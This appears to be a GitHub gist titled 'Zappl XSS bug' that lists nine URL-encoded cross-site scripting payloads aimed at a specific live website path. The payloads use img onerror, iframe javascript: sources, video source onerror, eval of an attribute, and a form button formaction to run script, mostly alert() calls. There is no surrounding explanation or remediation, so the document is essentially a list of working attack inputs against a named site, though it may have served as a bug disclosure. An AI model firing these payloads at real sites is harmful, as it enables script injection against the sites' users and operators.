Skip to content

Instantly share code, notes, and snippets.

@jayserdny

jayserdny/XSS.txt

Created March 13, 2018 06:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jayserdny/bf23a88197aabe2cbc5bae96fc31a198 to your computer and use it in GitHub Desktop.
Save jayserdny/bf23a88197aabe2cbc5bae96fc31a198 to your computer and use it in GitHub Desktop.
Download ZIP
Zappl XSS bug - Jayser Mendez
Raw
XSS.txt
https://zappl.com/New/%3CDIV%20STYLE=%22%22%3E%3CDEL%3E%3CH1%3EJAYSER%20WAS%20HERE
https://zappl.com/New/%3CINPUT%20TYPE=%E2%80%9CTEXT%E2%80%9D%20SRC=%22%22%3E
https://zappl.com/New/%3CImg%20src%20=%20x%20onerror%20=%20%22javascript:%20window.onerror%20=%20alert;%20throw%20XSS%22%3E
https://zappl.com/New/%3CVideo%3E%20%3Csource%20onerror%20=%20%22javascript:%20alert%20(XSS)%22%3E
https://zappl.com/New/%3CInput%20value%20=%20%22XSS%22%20type%20=%20text%3E
https://zappl.com/New/%22%3E%3Ciframe%20src=%22javascript:alert(XSS)%22%3E
https://zappl.com/New/%3Cimg%20src=x:alert(alt)%20onerror=eval(src)%20alt=0%3E
https://zappl.com/New/%3Ciframe%20src=javascript:alert(document.location)%3E
https://zappl.com/New/%3Cform%3E%3Cbutton%20formaction=javascript:alert(1)%3EXSS%20ME
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment